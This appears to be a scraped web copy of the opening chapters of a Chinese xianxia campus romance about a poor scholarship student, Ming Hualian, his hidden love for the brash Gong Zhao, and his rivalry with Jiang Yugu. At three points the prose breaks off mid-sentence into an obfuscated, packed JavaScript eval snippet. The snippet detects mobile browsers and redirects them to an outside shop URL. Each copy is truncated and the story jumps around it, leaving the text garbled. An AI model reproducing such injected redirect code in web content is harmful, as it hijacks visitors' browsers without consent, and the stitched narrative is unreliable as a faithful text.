《只和修为最高的谈恋爱》 1. 邀约 簌簌。 簌簌。 少年埋头一路逃跑,同时不忘竖着耳朵听,当听见声音,他吓得倏然缩在角落隐蔽处。 须臾,浓雾扑面而来,一双比灯笼还大的眼睛在雾气中逡巡。 少年缩成一团,颤抖地用手堵住自己的嘴巴,不敢发出丝毫喘息声。 不知过了多久。 那双眼睛消失在雾气深处,少年依旧抱着胳膊蹲在地上,浑身颤抖。 稠酽雾气将林中氤得晦暗,嶙峋山石灌木宛如鬼怪身影扑面而来。 …… “九万贯。” “跟。” “庄家得彩——又是宫哥赢了。” 明华潋被一阵猿吠般的叫声吵醒,睁眼便看到十几名少年正围着八卦桌打叶子牌,欢嚣匝地,好不热闹。 迷茫片刻后,他意识到刚才自己做了噩梦,梦到了还未拜入嵇云学院的时候。 做这种梦只是偶尔,他很清楚自己早已脱离了那段困苦又危险的时光,所以他试图环顾四周,转移注意力,尽量不让情绪被过去的事所困扰。 “宫哥牌技真是神乎其神,我在旁边看着都研究不透。” “三个月零花钱就这么输进去了。” “尤其是宫哥不喜形于色,很难判断他手里有什么牌。” “你以为宫哥会跟你似的,抓到点好牌,嘴都要咧到耳后根了。” “哈,有那么夸张吗?” 明华潋下意识望向被众人围在中间恭维的少年,对方一脸慵懒,漫不经心地把玩着翠玉制成的叶子牌。 人只是随意往那一坐,也不必左右逢迎,骨子里都透露着一股睥睨一切的贵气和狂傲。 他望过去时,宫昭也忽有所感,对视后,主动起身,少年们很自然地让开道。 宫昭便在他身边坐了下来。 “怎么迷迷糊糊的?” “刚才打了个盹。”明华潋说。 “昨晚又熬夜看书了?” “看了一会儿。” 明华潋如同呼吸一般自然的说谎了,其实他并没有熬夜看书,只是觉得叶子牌很无聊,所以才坐在那里打盹了。 实际上他对这种在学院里风靡的活动没有兴趣,还不如花时间来提升自我。 之所以浪费时间过来掺和,只是因为他和宫昭是朋友。 朋友…… 或许只有宫昭这么认为,明华潋并不想和宫昭是朋友。 “没必要太把课程当回事,即便是考核不合格又不能怎么样。”宫昭漫不经心地说道。 他举手投足都透露着浑然天成的傲慢和自信,这对于少年们来说是颇受追捧的,尤其是宫昭家世无可挑剔,属于同学中的佼佼者,性格又狂放不羁。 像是其他人不敢做的逃课、饮酒作乐,带着一帮小弟和隔壁学院学生斗法,这些狂放胆大的行径为他招来了相当一批的追随者。 无论出现在何种场合,宫昭往往都会是这个群体的领头者,这是不争的事实。 就像是现在,他们有一搭没一搭地聊着天,其他少年也都没有继续打牌,属于宫昭的座位一直空着。 “还继续吗?”一名少年问。 “算了,”宫昭没动弹,说:“不打了,没意思。” 少年旁边的人嬉皮笑脸拿胳膊肘捅了他一下:“你还来劲了,除了宫哥,刚才就数你赢的第二多。” “有本事你也赢。” 明华潋抿了抿嘴唇,眼神不动声色地瞟了一眼宫昭,不知道宫昭为什么忽然觉得玩牌没劲了,心里抱有一丝揣测,也许宫昭是为了陪他才不继续玩牌。 正当他做此想法,宫昭忽然开口:“你知道刚才他赢了多少?” “嗯?”他回神。 宫昭慵懒地抬抬下巴:“猜他,赢了多少?” 他顺着宫昭示意的方向,发现是刚才被人戏谑“赢的第二多”的那个少年。 他刚才在打盹,根本没注意他们的牌局,也没注意那人赢了多少,便用十分平静的语气说:“不知道。” 宫昭用手掌比了个数字,勾唇微笑。 “……” 明华潋惊讶地唇缝微张,这真的是很大一笔钱了。 他捏了捏手指,看着周围人一番不以为意的欢闹,再次意识到自己和这个群体是不同的。 从入学时他就知道,即使他们是同学,在同一个屋檐下求学,每个人所处的地位都是不同的。 与大多数学院里的同学不一样,他来自遐陬芜僻之地,家境也不出众,父母早亡,山间灵兽骚动践踏了他原本生活的小镇,被前来相助的嵇云学院救助。 他竭力摆脱贫困弱小的阴影,嵇云学院就像是他向上之路中的救命稻草。 幸好他灵根不错,是罕见的单灵根,这才得以破格入学。 对于修者而言,多灵根并不意味着好,灵根越多越影响修炼速度,单灵根反而是珍贵又稀有的,寡而方能精,偶尔他也曾思索宫昭为什么会和他成为朋友? 毕竟他们的家世天差地远,唯一相似的点是他们都是单灵根,也许正是因为灵根相似,他们才能成为朋友。 即便是在嵇云学院,修真界首屈一指的学院中,单灵根也属于凤毛麟角的存在。 他也认为那些家庭优渥的人日后成就未必比自己高。 但每当看到少年们随便输掉一笔钱,就是他一年都攒不下来的钱。现实的差距就会让他感觉低落和不甘。 宫昭将手臂搭在他的肩膀上,盯着他眼角的小痣,笑了起来:“下次我教你牌技,你把他赢的通通赢过来。” 明华潋皱了皱眉头,即便玩牌可以来钱,他依旧不认为这是什么体面的活动。 何况即便是宫昭也不可能一直赢,要是自己万一输了一把呢?偶尔输一把的钱他都负担不起。 贪图一时的玩乐,把自己好几个月的钱搭进去,那才是蠢。 明华潋自认为像狐狸一样精明的活着,不想趟这趟浑水。 “我不想玩牌,也不会玩。” 宫昭扬起眉头:“都说我教你。” “那我也不想,万一我没天赋输了呢?”明华潋说。 宫昭想也不想:“输了算我头上。” 宫昭的话让周围少年们反应也很激烈,挂着调侃的笑意七嘴八舌。 “哇,我刚才听到了什么?” “我听到宫哥给明华潋担保,还说输了记他头上。” “少见多怪,宫哥又不是第一天护着他。” “不过我也很好奇宫哥为什么老是护他?现在怎么说,都说亲兄弟明算账,但你们两个人的账都要一块儿算了?” 宫昭对于这些调侃的话,只是轻描淡写地扬了扬眉毛,他一向不在意这些玩笑话。 明华潋捏了捏手指。 感觉到心脏被微微抛起,在哄闹的氛围里,仿佛他对于宫昭的意义是不一样的。 但总是喜欢保持理智思考的他,只能在心里告诉自己,这也许是宫昭放荡不羁的性格使然。毕竟对于宫昭而言,钱只是一个数字,一个没有意义的符号,这并不能代表什么。 但情不自禁的,他唇角还是露出了个微笑。 宫昭趁机捏了捏他的脸:“你也别老说输输输的,玩牌很忌讳这种说法。” 明华潋“嗯”了一声。 “再说了,你成绩那么好,脑子也聪明,又有我教你,还担心会输吗?”宫昭依旧是用那副自信的语气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606461|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫昭向来不在意成绩的,居然知道他成绩还不错,这让明华潋心里有一种微妙的高兴。 但这股高兴只维持了短短几秒,“赢的第二多”把玩着这一张叶子牌,忽然想起什么说道:“对了,苏晚晴后天生辰在玉椋楼摆席,让我邀请你,去不去?” 明华潋深吸一口气,装作若无其事的样子观察宫昭的反应。 事实上宫昭不仅拥有众多追随者,身边桃花一直没断过,这或许是因为宫昭有一副颇具男子气概的样貌。 宫昭五官轮廓硬朗,在学院统一的校服下,绛红色内衬贵气张扬,眼尾及眉梢的部位有一道很浅的疤痕,更添一丝戾气和野性。这也让他万花丛中过,身边总是围绕着许多红颜桃花。 与宫昭的爱情会是一滩泥沼,明华潋清醒得意识到这一点,所以他从未挑明自己的感情。 即便自认为像精明的狐狸,可萌生感情这种事情无法自控,但理智告诉他,表白不是很好的选择。 宫昭向来来者不拒,去者不留,身边桃花从未断过,苏晚晴是这段时间明确表达过对宫昭好感的一位同学。 即便这不是第一次,也不是最后一次,但明华潋依旧为此感受到折磨。 尤其是宫昭并没有第一时间回答,在蒸腾着热气的居所里,少年们起哄的声音,就像是令人窒息的海浪淹没了明华潋,让他感到煎熬和忐忑。 他屏住呼吸,像其他人一样等待着宫昭的回答。 宫昭却忽然侧头看他。 少年一席学院鸢络衣,坐在软塌上,发色比旁人稍浅一些,好似上好的绸缎,两绺垂在白釉般细腻光滑的腮边,微蹙着眉,前些年幼圆的眼睛扬长了些,不动声色的看着他,好似琉璃雕琢的人偶,眼尾一滴小痣又增添了几分鲜活生趣。 不知怎么的,宫昭鬼使神差:“你去吗?” 明华潋心想宫昭这问话真有意思,人家是邀请宫昭,又没邀请他,便说:“我不去。” 宫昭:“那我也不去了。” 刚才起哄的少年们顿觉失望,七嘴八舌的劝道:“你不去了,那美人儿的酒席不就白办了?” “玉椋楼位置很难定的,千金难买,可是下了血本的。” “别啊,别让美人儿失望了。” 但宫昭心意已定,也不在意他们说什么,明华潋心头微松,顿了顿,偏还和其他人一样装作泰然自若问:“你怎么不去了?” 宫昭本就对苏晚晴没什么意思,明华潋不去,他也就懒得去凑这个热闹,随口道:“你不去还有什么意思?” “……” 明华潋故作泰然,心脏却砰砰加快了几下。 * 休沐结束后,学生们又被拉回了学堂。 清心钟响,在酉时一刻准时唤醒枕流居的学生们,蕴含灵气的浑厚钟鸣让人近乎瞬息间便清醒过来。 本以为和往常没什么不同,明华潋却注意到今天的清心钟响了三声。 按照德音尊主定下的规矩,清心钟早中晚各响一次,若连响三声,便意味有客到来。 从枕流居赶往平日上课修炼的撷英院途中,他注意到东南方赪霞漫天,云雾流散,照得齐峰积雪如披帛纱,而千丈霞光中隐有仙舟轮廓若隐若现。 他看了两眼便收回目光,然而仙舟却停了下来,他下意识问宫昭:“怎么了?” 宫昭和周围几个少年嘀咕着什么,不时咧嘴一笑,听见他的问话,便抬头说:“你先去上课吧?我们想去看看。” 学院的生活异常枯燥,除了休沐时偷摸喝酒,打牌,几乎没有任何乐子。 明华潋知道宫昭喜欢凑热闹,没多说什么,从宫昭的仙舟下来了。 之后,他才会为这个决定而后悔。 2. 早课 现在的明华潋只想赶快赶到学堂。 他招出佩剑,这柄还是入学时学院统一发放的,剑身朴素无华,剑柄上刻着嵇云学院校徽。 他轻身跃上剑身,施展御剑术,朝着学堂飞去。 佩剑通体被灵气包裹,灵气蒸腾宛如朵朵雪白的梨花瓣绽放又消融,于晨曦中伴着微风摇曳。 一路上,碰上许多身穿校服御剑而行的同学。 嵇云学院弥山跨谷,从北至南甚至有半季之别,自仙舍到学堂撷英院,即便是仙舟也须得行驶半个时辰,御剑飞行则要更慢一些。 赶到撷英院已是一个时辰之后,学堂宽敞明亮,明华潋走进教室,里面已经坐了半数的同学,正在自行早课。 与向相熟的同学主动打招呼:“早啊,华潋,今天没和宫昭一起来?” “嗯早,他有点事,稍晚一点。”明华潋像往常一样,摆出无可挑剔的笑脸亲切回答。 他一向很在意自己的形象,能进入嵇云学院学习的,要么天赋异禀,要么有殷厚的家底,精明如他在学生时期就想和这些人打好关系。 由于是休沐期刚过,一部分同学功课尚未补完,向他请教。 他耐心教导了这两位同学,才走向自己的位置。 他的座位在最里面,是倒数第二个。当他看到后桌那个埋着的脑袋,不动声色地蹙了下眉。 江郁故今天这么早就到教室了。 他脚步微顿,呼出一口气,才走过去。 走到近前,忍不住多看了两眼,江郁故脑袋埋在手臂里,发丝略微凌乱,随着呼吸一起一伏,看上去似乎在补眠。 他拉开椅子坐下,刚摆好书简,肩膀就被人碰了碰。 回过头,果然是江郁故。 少年的脸依旧埋在臂弯里,却侧过了半张脸,毫无疑问,这一张很有辨识度的脸。 第一眼望过去让人心脏砰砰直跳,不仅是因为好看,也是一种仿佛被肉食动物盯上的威慑感。 微微垂下的眼睫显得有点慵懒,像是萦绕着许多忧思和愁绪,但颜色过于分明的眼睛则让人感到锐利,有一种一切都能被看透的锋利。 从见到江郁故的第一面起,明华潋就有种不适的感觉。 江郁故就这么趴在臂弯里看着他:“为什么不和我说早安?” “什么?”他以为自己听错了。 “早安,为什么不和我说?”江郁故又开口。 明华潋随口敷衍:“你醒着吗?我以为你刚才在睡觉。” “现在醒了。” 说完这句话,江郁故就安静地看着他,似乎在等待着什么。 明华潋默默吸了一口气,挂着完美笑脸:“……早安,江郁故。” 江郁故微微眯起眼睛,嘴唇拉开微笑的弧线:“早。” 他的第一预感是准确的。 江郁故确实是一个令人感到不适又难搞的家伙。 当初刚进入嵇云学院时,他被分到淘沙院,顾名思义大浪淘沙,只有经过考试才能够进入进阶修行班撷英院。 在陶沙院时每个班人数众多,少至三四百人,多至五六百甚至上千。同学之间可能直到进阶考试,都没能认清彼此的脸和名字。可莫名其妙他和江郁故倒经常偶遇,但他们一次都没有打过招呼,关系算不上好。 后来参加进阶考试,有一项外出历练的考核,他、江郁故和宫昭被分在一组,才知道他们俩是总角之交,从小时候就认识的发小。 江郁故和那些围绕在宫昭身边的其他朋友都不同,据说也是罕见的单灵根,至于是什么灵根这倒没人知道。但从历练时江郁故的表现也能看出来,他实战能力很强,这让明华潋保持的微妙的优越感荡然无存。 和宫昭放荡张扬的性格不同,江郁故内敛而低调,也从来不显摆什么。所以最初没人看出江郁故家世如何,但明华潋平日广阅书籍,一眼就看出江郁故身上随便一件配饰都价值不菲。 毫无疑问,至少评估各种条件,江郁故比他更适合当宫昭的朋友,他也曾听到同学们对两人的评价,都觉得他们是同辈中最出色的两个人,无论是外表修为还是实力: “历练榜头名又是这两个,他们究竟是怎么修炼的呀?是不是有什么家族传承的特殊心法?” “不知道,但这么看来能和宫昭碰一碰的只有江郁故。” “嗯,但论实力感觉还是宫昭强一点吧。” 他也时常会觉得不公平,即便是他的理论课考得再好,也拉不开多少差距,反而是实践考核加的分更多。多重因素导致,他对于江郁故一直维持着一种微妙的讨厌。 但他一贯擅长克制自己的情绪,从历练到一同进入撷英院,他从来没有将这种情绪显示出来。 因为时刻保持理智思考的他,担心表露出对江郁故的讨厌,宫昭或许会把他踢出朋友圈,那么他就是孤身一人了。 所以他对江郁故的策略,一向都是不得罪也不靠近。 正想着宫昭这时候和朋友们在做什么,余光瞥见刚才问功课的少年似乎又打算过来,明华潋烦躁地皱了下眉,主动看向江郁故:“休沐这几天你做了什么?” 江郁故不知怎么地笑了起来:“你猜。” 明华潋不喜欢江郁故笑,但在余光中留意本打算拿着功课来问他的少年,似乎对江郁故有点恐惧,望着他们踌躇,然后重新坐回座位,他眉头又舒展开来。 “我猜不到。”他说。 说话的时候,江郁故的目光一直注视着他,眼睛色泽很深,又非常深邃。 明华潋觉得有点怪异,避开了他的目光。 “给你一个提示……”江郁故拉长腔调。 明华潋不喜欢和他说话,想要尽快结束这个话题,便说:“反正你没和宫昭他们在一起。” 江郁故歪着脑袋:“你怎么知道?” 当然是因为他和宫昭他们在一起,但他没直接说,但面对江郁故的视线,那种略带不快的情绪又上来了,他故意说:“你不觉得难过吗?宫昭随便一句话大家就凑在一起了。” “那有什么意思?” 江郁故满不在乎。 明华潋:“什么叫有什么意思?” 出于好奇,他抬眼望过去,他们目光又撞在一起,江郁故微眯双眼,慵懒道:“朋友这种东西在质不在量,我不需要那么多朋友。” 那么你觉得有“质”的朋友是谁呢?宫昭吗?明华潋下意识想问出口,话到嘴边又咽了回去。 但他嘴巴已经张开,江郁故也好奇地盯着他,正当他绞尽脑汁想转移话题时,门口传来了一阵嘈杂的响声,他还认出其中夹杂着宫昭的声音。 他松了一口气,顺理成章地转移视线。 然后他的心情更不舒服了。 宫昭从门口走进来,手臂搭在另一个瘦削的身影肩上。 少年和宫昭肩并着肩,与宫昭校服总是敞胸露怀,不好好穿戴截然不同。少年的衣襟规规矩矩地扣到最上面一粒,容貌标致,双目黑白分明,尤其是一头乌发比旁人更黑,栖凤玉冠高束,几绺发梢垂到肩膀微微卷翘,衬得颈后那一小片皮肤如霁明之雪。 任谁人看到他的外貌都会心生好感,再了解到对方的名字,更会觉得人如其名。 少年就是这个学期的巡查使余温雪。 撷英院的巡查使共有十二名,主要是负责记录学堂考勤、维持秩序,在有人违反院规时行使监督职权,每半年轮换一次。 按理说几乎所有的学生都有机会成为巡查使,明华潋已经当过一次,当时他对宫昭等人饮酒玩牌的行为宽宥不咎,对于同学们的其他违规行为也都睁一只眼闭一只眼,所以他的风评直到卸任都还不错,而他之后的巡查使就是余温雪。 “你不要无理取闹……” 余温雪想把宫昭的胳膊拿下来,但根本移不动,气得小脸都红了。 宫昭则颇有兴趣地瞧着他的脸,成天跟个冰雕似的漂亮少年,此刻鼻尖都被他给气红了,饶有一番意趣。 余温雪性格温吞如水,即便生气,说话依旧轻言细语:“我把你拉回来是因为马上就要上课了。你们却还在中门那里晃荡这是违反规定的。” 一听这话,宫昭的小弟们你一言我一语的反驳,宫昭打了个手势他们就安静下来,宫昭笑眯眯地说:“我们只是想看看来的客人是谁?关心学院之事,这有什么错?” “……” “倒是你,”宫昭盯着余温雪泛着红晕的面颊:“我之前也没发现,你嗓音比红绡阁的黄莺儿还要动听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟阴岚尊主可是出了名的鬼见愁,对他们管束尤为严格,之前就有过没做功课,结果被阴岚尊主直接丢到妄念鬼刹阵里三个时辰,少年们出来后吓得都快尿裤子了。 余温雪回到了自己的座位,宫昭则朝着明华潋走过来,在他右手边的座位坐下。 宫昭的座位就在他的旁边。 “你故意的?”宫昭摆弄了两下书简,探究地看向他。 毕竟刚才他出声的时间太巧了。 明华潋最引以为豪的就是表情管理,他装作不知道发生了什么的样子,若无其事地反问:“什么故意的?” 他们的视线相对,他本能地想要躲避宫昭的视线,但为了不让自己显得心虚,还是挺直了腰板回视了宫昭的目光。 就在他后背不自觉冒出冷汗,指甲几乎要嵌进肉里的时候,一个慵懒的声音插了进来:“山河寰宇录的笔记借我看一下。” 松了一口气,明华潋从未这么感激过江郁故,他借着翻找东西的功夫,将掌心的汗擦在了袖口。 宫昭感到奇怪:“你不是从来不在意这种?之前还交了白卷。” “是吗?”江郁故说。 宫昭不是个喜欢探究的人,被这么一打岔,耸了耸肩便不计较了。 翻了一会儿,明华潋才想起来,《山河寰宇录》也就是修真界地缘风貌这门课,是明天才上,书简和笔记都被他留在了枕流居。 “我没带,明天拿给你吧。”他说。 “真的吗?”江郁故皱起了眉,似乎并不相信:“你不会答应我转头就忘了吧? “我会记得。” “我不相信口头约定,我之前吃过这方面的亏。”江郁故很执拗。 “……那怎么办?”由于刚才的事情,明华潋头脑有点迟钝。 江郁故想了想,“你押个东西给我吧。” 直到自己平时用来画符箓的笔落到了江郁故的手里,他才发现好像不对。 怎么莫名其妙押了个东西给江郁故。 好没道理。 3. 惩罚 “阴岚尊主到了。” 有人观察到熟悉的身影,连忙通报大家,所有人都回到自己的位置,规规矩矩坐好。 往常阴岚尊主上课时,明华潋总是听得聚精会神,但不知道是不是刚才发生了那些事情的缘故,他下意识去看宫昭。 却发现宫昭不时瞥一眼坐在前面的余温雪。 他顿觉胸口发闷,像有酸水在胃里翻滚,怎么都无法集中精神。 他以朋友的身份和宫昭相处了这么久,也见过他和其他桃花接触,自然是知道宫昭喜欢什么样的人,虽然余温雪和宫昭之前交往的桃花们不一样,但从宫昭的表现来看,明显对余温雪格外关注,这让他的心情既烦躁又苦闷。 这时,他感觉到肩膀被什么东西砸了一下,低头一看,是一只皱巴巴的纸团。 他犹豫片刻,捡起纸团。 展开一看,上面画着歪歪扭扭的线条,是一张传音符箓。 他不动声色地将符箓揉在掌心,随着线条散发出淡金色的灵韵,他不必张口,心里想说的话也传了过去:“干什么?我在认真听课。” 过了几息,江郁故带着一丝笑意的嗓音出现在他的耳畔:“你确定?” “……” 明华潋抿了抿嘴巴,江郁故的笑意是发现他刚才走神了吗?在笑话他?不愉快的情绪氤氲在心中,他深吸一口气:“专心听课,要是一会儿阴岚尊主抽查到你,让你回答功课,你答不上来可就不是小事了。” 这次过了数息,讲堂上的阴岚尊主都已经讲完了新一课的内容。 江郁故的声音才悠悠传来:“你担心我吗?” 明华潋不知道他是怎么想到这个方向去的,实际上刚才嘲讽的话脱口而出后,理智回归他就有点后悔了,无论如何,江郁故刚才还帮了他,他也不想得罪江郁故。因此江郁故误会了他话里的意思,他也没有辩驳。 江郁故:“你认为我会没做吗?” “我不知道。”他说。 江郁故又说:“你觉得我和那些不学无术的家伙一样吗?” 明华潋察觉到江郁故这句话里有一丝微妙的不快,但还没来得及回答,阴岚尊主目光逡巡整个讲堂,落在他身上:“明华潋,把上次留堂的功课展示在玉光石上。” 他匆忙站起身,走到光石前,以灵力为笔墨,将九微佑仙阵的演变阵书写在石板上。 “嗯,是用心钻研过的。”阴岚尊主紧皱的眉头略微舒展,先是肯定了明华潋做过的功课,随后娓娓道来:“你已经发现了九微佑仙阵坎离两穴首尾相通,灵气生生不息,不妨大胆一些,将巽乾两穴移位。” 明华潋恍然。 阴岚尊主顿了顿,见他听懂了,继续道:“如此一来天风颠倒,可在坎位再生一阵,这便是阵中阵。” “我听懂了,尊主。”他说。 阵法一学本就是看天赋,有人天生专擅此道,也有人抱书十载不得入门。进入撷英院的学生也有大半不擅阵法,听的云里雾里,明华潋倒是聪颖一点就通,阴岚尊主眉间褶皱已彻底展平,松缓语气说了一句: “即来到我课上,便专心听课。” 这番话便是点明两个人刚才在讲堂下的小动作,明华潋脸微微涨红,羞愧地把头埋下来。 “《平松阵·贰》抄十遍,明日给我。” “好的尊主。” 他松了一口气。 * 好不容易从淘沙院进入撷英院,才第二个学年刚开学就遭遇不测,如果不是嵇云不教卜卦之术,明华潋都想给自己卜一卦。 他挑灯抄了一个晚上,才将《平松阵·贰》十遍抄完,送到卧岚峰,也就是阴岚尊主的住处。 不眠不休抄书抄得他的手都有点抽筋,心里也充满了抱怨,但他抱怨谁呢?江郁故吗?如果不是他走神,也不会被江郁故抓到打扰他的机会,究其原因还是因为宫昭,不,或许也是因为他自己充满了妒忌的爱情。 妒忌,抱怨……这些负面的情绪在看到宫昭偶尔瞥向余温雪的视线时,不断在胃里翻搅积累。 宫昭注意到他的脸色,扬起眉稍:“昨晚抄平松阵了吧?看着都没精打采的。” 当着许多人的面,他装出一副若无其事的样子:“还好……也没有抄的很晚。” “手酸了吗?”宫昭问。 “还好。”由于不想被同情,他厚着脸皮装作轻描淡写。 宫昭:“我看看。” 明华潋把手伸出来,宫昭就像摆弄着什么艺术品一样摆弄他的手。 一旁有人嘀咕:“阴岚尊主也是太严格了,华潋功课做的那么好,还要被罚抄。” 他们并不知道真正原因。 宫昭碰了碰指骨侧面被笔压出的红痕:“即便知道阴岚就这样,还是很想宰了他啊。” 明华潋:“别说这种诨话……” 宫昭偶尔会做出一些模糊界限的行为,比如现在这样摆弄他的手,说出这样的话。 曾经他会在心里暗暗期待,但次数多了,他不得不怀疑这就是宫昭的浪荡本性。 如果简单的为了暧昧不清的动作而感动或者昏头,那和那些围绕在宫昭旁边的桃花们就没什么不同。他不会简简单单就愚蠢得感动,绝对不会。 “赢的第二多”也就是娄绣石,总是喜欢穿戴一些花哨的配饰,所以又有人叫他‘金孔雀’,只见他从袖囊里掏出一把叶子牌。 旁边的人严再樟夸张地大呼小叫:“你这个胆大包天的家伙,竟然还敢打牌带到讲堂来?” “要不来一把?” “来就来,谁怕了你?” “你们这群家伙可真是有牌瘾了。” 一群人吵吵闹闹玩着牌,宫昭被围在正中间,其他人玩牌都要观察他的反应。明华潋的座位离他们也近,但他不会打牌,所以融入不进去。 无意间扭头,江郁故正安安静静地在看一卷书简,他确定就是他从未见过的书卷。因为那上面的文字错乱无序,就像蝌蚪一样,他根本看不懂。 他下意识脱口而出:“你在看什么?” “嗯?”江郁故停下了翻页的动作。 “这是书吗?”明华潋认真看了看那些蝌蚪文,“我从来没见过。” “很好奇吗?”江郁故勾了勾手指,那个意思好像是在说‘凑近点告诉你’。 他犹豫几息,不经意间转头发现宫昭和那帮朋友又嘻嘻哈哈的开起了玩笑,根本没有在意他们这边。 他下了决心,微微把脸侧过去,耳背拂过温暖的热流,仿佛江郁故的嘴唇蹭了过去,他莫名感觉脸颊浮出热意,蜷了蜷手指,然后就听见江郁故略带笑意的声音: “这是秘密。” “……” 他僵硬了。 而江郁故仿佛得逞了什么似的,仰头笑着拉开了距离,靠在椅子上。 反应了几息,该死,明华潋意识到自己被江郁故耍了。 深吸一口气,再次确信江郁故是一个令人感到不适的家伙。 偏偏在这个时候,上次向他请教功课的同学兰砚书走了过来:“宫昭,华潋,院长让你们过去一趟。” · 离下堂课开始还有一盏茶的时间,明华潋和宫昭站在寮舍里。 嵇云学院院长本是衡岳灵尊,但在百余年前,衡岳灵尊为突破瓶颈闭关,这一闭关便是百余年,学院大小事不可无人定夺,便由副院长慈心尊主暂代。 站在寮舍里,明华潋内心紧张,不明慈心尊主为何让他们两个人来?而且特别点名了他和宫昭。 甚至怀疑此慈心尊主是不是看出了他对宫昭的心思? 他瞥了眼宫昭,宫昭环着手臂打量寮内布景,一副无所谓的态度,只有他心绪复杂,胡思乱想。 一抹澜衣映入眼帘。 脸如满月,双耳玉润,不似阴岚尊主总是双眉紧锁,来人未语先笑,看不出具体年纪,衣着虽华美繁复,却袒胸露怀,尤其腹部圆润非常,手柱青柳木杖,双袖如堆叠的垂云一般迤至足底。 分明膀大腰圆,身形却犹如一抹丹青,一步步行走起来轻盈灵动。 总是慈祥可亲的面容,即便是初次见面的人,也会觉得倍感亲切。 “突然让砚书叫你们过来,是不是骇了一跳?” 明华潋匆忙弯腰向慈心尊主行礼,眼神悄悄瞥向一旁,宫昭依旧是那种无动于衷的样子。 慈心尊主仍旧是乐呵呵的,并没有因为宫昭的无礼而发怒。 他信手用青柳木杖轻轻一抬。 明华潋感觉一股柔和的力道托起他,顺着那股力量他站直了身体。 “别都站着,找地方坐着吧。” 慈心尊主招呼他们。 明华潋还在犹豫,宫昭倒是大大咧咧的,随便拉了个椅子坐下来,“坐啊。” 他只好规规矩矩坐在宫昭的旁边。 慈心尊主在他们对面落座,红柳木椅对于慈心尊主宽阔的腰围而言过于逼仄,慈心尊主尝试了两次才重新坐下去,这一幕稍显有点滑稽,但明华潋笑不出来。 “课间闲暇还剩下一盏茶的时间,我就长话短说吧。” 明华潋心瞬间紧张地提了起来,放在膝盖上的拳头握紧又松开,不由自主地又拿眼神去瞥宫昭,宫昭倦怠地拖着下巴,甚至厌烦地打了个哈欠,他们的目光对上之后,明华潋匆匆移开目光,手心却被汗湿了。 “学院规定不允许学生在校内玩牌,这是明令禁止的,宫昭你和你的那群小伙伴儿在枕流居偷摸玩儿已经有人检举了,现在居然还公然带到课堂上,这就有点过火了……” “吱——”宫昭翘着腿,椅子在地面拖出尖锐刺耳的噪音。 原来院长找他们是因为叶子牌的事,明华潋心里松了口气,冷不丁被点了名。 “还有华潋。” “是的。”他连忙应声。 慈心尊主:“叶子牌是你睁一只眼闭一只眼放进来的,也得受到处罚。” 比起之前他预想的情况,现在的情况已经好很多了,但对于自己偷偷摸摸做的事被师长挑明,他依旧羞愧的耳朵都红了。 “华潋甘愿受罚。” “这样,你们去碑林,把晒经石上的书卷都收起来罢。” 慈心尊主的青柳木杖实则是一根毛笔,只见他挥笔落墨,墨点落在他们手背上形成一道印记。 “待到惩罚结束墨印自会消褪。” 谈过了话,慈心尊主挥挥手解除了结界,让他们出去了。 他们朝外走时,慈心尊主又叮嘱他们:“那些书卷历史悠久,轴卷斑驳脆弱,你们搬运时须得轻手轻脚,小心动作才好。” 明华潋刚应了一声,手臂被猛地拽了一下,宫昭拽着他的胳膊走出寮舍。 抬起头,宫昭满脸怒气勃勃,带着怒意的视线扫过来,他下意识僵硬了。 好在宫昭的怒火并非对着他。 “定然是有人告密。”宫昭咬牙切齿。 明华潋点点头:“我也这么想。” 撷英院的纪律一向是由巡查使负责,学生间自纠自查已有百年历史,师长向来不会干涉,除非有人直接向院长检举。何况对方还精准掌握他们在枕流居打牌,甚至知道是明华潋睁一只眼闭一只眼把牌放进来。 “该死,”宫昭双颊抽动,怒气冲冲道:“要是我知道这小人是谁绝饶不了他。” 明华潋一边劝慰宫昭,一边也在心里猜测,这个告密的人会是谁呢?是宫昭平日里的那帮朋友?脑海中将那群人的脸过了一圈,觉得不太可能。又想到班上其他的人,似乎也毫无头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明华潋也不动声色地翘了翘嘴角。 此时才镇定出声:“要上课了,请让一下。” 严再樟这才不情不愿站了起来。 * 明华潋不愿再出丑出错,决意尽量将注意力专注在课上。 这堂课本是兰惠尊主的地缘学课,来人却非兰惠尊主,她身着一袭素白流云长衫,乌发由一支寒玉簪绾起,面容清冷,唇色淡如寒月。 此人正是兰惠尊主座下大弟子瑶光:“师尊临时有事,由我代为授课,哪位后辈还记得上次师尊讲课至何处?” 余温雪主动示意,瑶光看见后,便请他站起来:“请余同学告之。” “上回兰惠尊主讲到《山河寰宇录·卷二广源篇》,曰广源地处八竑边界,赤地千里,土地瘠薄,无水源取用,难以稼穑,望涯灵尊行至此处,悯众人苦荒地久矣,便引天山水入广源,又授以甘蕉?种子,令饥者得以饱腹,众人感灵尊善举,因甘蕉雅称‘扇仙’,便以扇仙呼之……” 瑶光点点头,还未等她开口,宫昭便大咧咧道:“诨说罢了。” 讲堂一下安静下来,余温雪挺着腰说:“我没有诨说,这是书上写的。” “书上写的就一定是对的吗?”宫昭反驳。 余温雪:“书上不是对的,还有什么是对的?” “书也是人写的。”宫昭环着臂膀看他:“人本就谎话连篇,书又怎能尽信?” “……” 宫昭:“望涯灵尊日子过得好好的,为什么忽然去那种荒蛮之地?书上可说了?” 